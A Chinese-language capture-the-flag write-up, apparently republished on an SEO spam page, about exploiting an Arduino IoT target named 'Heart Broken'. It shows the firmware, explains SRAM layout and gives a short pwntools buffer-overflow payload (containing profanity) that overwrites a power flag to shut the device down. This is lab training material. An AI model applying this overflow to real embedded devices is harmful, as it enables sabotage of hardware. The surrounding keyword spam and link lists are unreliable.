当前位置: 首页 > wzjs >正文

郑州做旅游网站三亚做网站多少钱

郑州做旅游网站,三亚做网站多少钱,建设一个网站需要什么硬件,工装哪家装修公司好信息 信息描述靶場名稱Heart Broken地址GitHub: Heart Broken難度中等人數推薦1–2人類型CTF、IoT漏洞分析、逆向工程、Buffer Overflow、故事解謎描述Heart Broken 是一個結合 CTF、IoT 漏洞利用、故事推理解謎與二進位漏洞分析的沉浸式靶場。參與者將面對硬體裝置、網路攻擊…

信息

信息描述
靶場名稱Heart Broken
地址GitHub: Heart Broken
難度中等
人數推薦1–2人
類型CTF、IoT漏洞分析、逆向工程、Buffer Overflow、故事解謎
描述Heart Broken 是一個結合 CTF、IoT 漏洞利用、故事推理解謎與二進位漏洞分析的沉浸式靶場。參與者將面對硬體裝置、網路攻擊與真實逆向挑戰,揭開一場科技競賽背後的陰謀與報復行動。

環境部署 (192.168.8.103)

準備模塊ENC28J60和Arduino UNO并且按照接綫圖接綫

image.png

image-1.png

打開./web/file/HeartBroken.zip中的HeartBroken.ino進行燒錄

安裝頭文件依賴

image-4.png

image-2.png

將設備鏈接有綫網絡,并且將USB口插入靶機

$ sudo python3 robot.py

image-5.png

$ nmap -p 10032 192.168.8.0/24 --min-rate 1000 -Pn --open

image-6.png

進入web目錄執行

$ python3 app.py -iot 192.168.0.100

image-7.png

部署成功

逆向分析

http://192.168.8.103:5000/file/HeartBroken.zip

$ unzip HeartBroken.zip

#include <Arduino.h>
#include <UIPEthernet.h>
char powerStatus[10];
char lcdDisplay[30];
char serialCommand[8];const int BAUDRATE = 9600;
const int SERVER_PORT = 10032;byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
EthernetServer server(SERVER_PORT);void setup() {Serial.begin(BAUDRATE);delay(1000);Ethernet.begin(mac);server.begin();Serial.println("LCD:SLEEP...");
}void loop() {EthernetClient client = server.available();if (client) {String data = "";strcpy(powerStatus, "PWR:1");strcpy(lcdDisplay, "LCD:SLEEP...");while (client.connected()) {while (client.available()) {char c = client.read();data += c;if (c == '\n') {strcpy(serialCommand, data.c_str());if (powerStatus[4] == '1') {Serial.println(powerStatus);} else if (powerStatus[4] == '0') {Serial.println(powerStatus);}  Serial.println(lcdDisplay);data = "";}}delay(100);}client.stop();}
}

我們的目標是讓對方機器人關機,所以我們需要控制powerStatus為0

確認設備的IP地址

$ nmap -p 10032 192.168.8.0/24 --open --min-rate 1000

image-9.png

$ arp -a

image-10.png

和源程序的MAC地址一致

反向BOF攻擊 && Arduino UNO && SRAM

image-8.png

000223e5 char data_223e5[0xc] = “powerStatus”, 0
000223f1 char data_223f1[0xb] = “lcdDisplay”, 0
000223fc char data_223fc[0xe] = “serialCommand”, 0

在原程序中我們將通過網路發送數據。會經過

strcpy(serialCommand, data.c_str());

并且程序沒有做邊界檢查

是否存在緩衝區溢出漏洞?

我們首先要知道的是 Arduino UNO 時出現這種內存溢出情況,是因為 AVR 微控制器(ATmega328P)採用的是靜態內存分配 + 線性內存模型,且全局變量排列是連續的、固定的。這就導致一個變量的溢出可能直接覆蓋掉前後相鄰的變量資料。

全局/靜態變數從 SRAM 底部向上分配。

地址 ↑ 高
+-------------------------+ ← RAM 的高位址
|                        |
|   上層:堆疊(Stack)     | ← 自上而下增長
|                        |
+-------------------------+ ← 當前 SP 指向的位置
|                        |
|     未分配區(Gap)     | ← Heap 與 Stack 的「碰撞區」
|                        |
+-------------------------+
|                        |
|   下層:堆(Heap)       | ← 自下而上增長
|                        |
+-------------------------+
|  全局變量 / 靜態變量區(.data/.bss)|
+-------------------------+ ← SRAM 的最低位址
地址 ↓ 低

源程序給出

char powerStatus[10];
char lcdDisplay[30];
char serialCommand[8];

則需要構造"A"*8溢出serialCommand
然後"LCD:1…30"溢出lcdDisplay
然後"PWR:0"進入powerStatus[4] == '0’來關閉機器

他看起來是這樣的,應該可以工作。

# Maptnh@S-H4CK13
from pwn import *h = '192.168.8.100'
p = 10032
con = remote(h, p)
print("[+] Injection payload....")
payload = 'A' * 8 + "LCD:FUCK-YOU-SLEEP-BITCH" + '0' * 6 + "PWR:0"
con.sendline(payload)
print("[*] Done....")
con.close()

$ python3 exp.py

image-11.png

他工作了。。。

image-12.png

░░░░░░░░░░░█▀▀░░█░░░░░░
░░░░░░▄▀▀▀▀░░░░░█▄▄░░░░
░░░░░░█░█░░░░░░░░░░▐░░░
░░░░░░▐▐░░░░░░░░░▄░▐░░░
░░░░░░█░░░░░░░░▄▀▀░▐░░░
░░░░▄▀░░░░░░░░▐░▄▄▀░░░░
░░▄▀░░░▐░░░░░█▄▀░▐░░░░░
░░█░░░▐░░░░░░░░▄░█░░░░░
░░░█▄░░▀▄░░░░▄▀▐░█░░░░░
░░░█▐▀▀▀░▀▀▀▀░░▐░█░░░░░
░░▐█▐▄░░▀░░░░░░▐░█▄▄░░░
░░░▀▀▄░░░░░░░░▄▐▄▄▄▀░░░
░░░░░░░░░░░░░░░░░░░░░░░

文章转载自:

http://UkSAPYvv.hpmzs.cn
http://NCISAoEk.hpmzs.cn
http://uNwETANa.hpmzs.cn
http://42pfPKyp.hpmzs.cn
http://NILa7dQN.hpmzs.cn
http://cPspGJWk.hpmzs.cn
http://lAX6AY4b.hpmzs.cn
http://MSgCagpD.hpmzs.cn
http://jcl0GjPD.hpmzs.cn
http://SeYJtGaE.hpmzs.cn
http://pH7YA86n.hpmzs.cn
http://1OhaRm0c.hpmzs.cn
http://vIAV2UxU.hpmzs.cn
http://tQhIfEoD.hpmzs.cn
http://vaXUAOBh.hpmzs.cn
http://5KCHRhvq.hpmzs.cn
http://f2f93RUf.hpmzs.cn
http://bmgSIH6O.hpmzs.cn
http://VfAmDC0o.hpmzs.cn
http://ZW6UxjOX.hpmzs.cn
http://Zl6qH4oY.hpmzs.cn
http://MeowrQTv.hpmzs.cn
http://LS1OfxOe.hpmzs.cn
http://2I96mi3J.hpmzs.cn
http://p2a6xKqZ.hpmzs.cn
http://eY4joR7m.hpmzs.cn
http://0ZPPLMes.hpmzs.cn
http://gu9z7HdY.hpmzs.cn
http://4OTTIYdR.hpmzs.cn
http://QDxovZ2s.hpmzs.cn
http://www.dtcms.com/wzjs/644686.html

相关文章:

  • 做网站服务器应该怎么配置知名的网页制作公司欢迎咨询
  • 济南网站建设公司送400模板网站建设的弊端
  • 佛山市和城乡建设局网站首页一般小程序开发多少钱
  • 网站域名授权怎么做wordpress漏洞 2014
  • 网站建设国内现状wordpress wp_post
  • 自驾旅游服务网站开发文献综述做网站需要续费吗
  • 平台网站模板 优帮云如何把网站做成软件
  • eclipse开发网站用vue做前端wordpress无限加载
  • 苏州市建设局投诉网站最有效的推广方法
  • 做彩票网站是违法吗品牌建设的过程
  • 国家信息公示系统入口文章优化关键词排名
  • 网站导航的展开与收缩怎么做的哪个地方旅游网站做的比较好
  • 站长之家网站模板专门做养老院的网站
  • 沈阳免费自助建站模板cms进行网站开发
  • 常熟港口建设费申报网站企业建站公司怎么创业
  • 自己房子做民宿挂什么网站免费自学电商教程
  • 自己做的网站能联网吗网络运维个人工作总结
  • 亚马逊aws wordpress没有官方网站怎么做seo优化
  • 公司做网站自己注册域名东莞莞城网站建设公司
  • 山西省住房和城乡建设厅门户网官方网站wordpress登陆可见
  • 网站建设服务哪便宜设计头条
  • seo 网站关键词优化大连哪个区最好
  • 做网站必须有站点吗网站项目报价
  • 网站管理内容网页游戏交易网站
  • seo网站建设 刘贺稳营销专家a国外哪个网站做c 挣钱
  • 定制型网站建设丹阳建设局网站
  • 哈尔滨网站设计定制域名备案查询最新消息
  • 免费推广网站注册入口手机app界面设计尺寸
  • 做视频网站赚钱吗wordpress反应好慢
  • 环保部建设项目影响登记网站怀化医保网站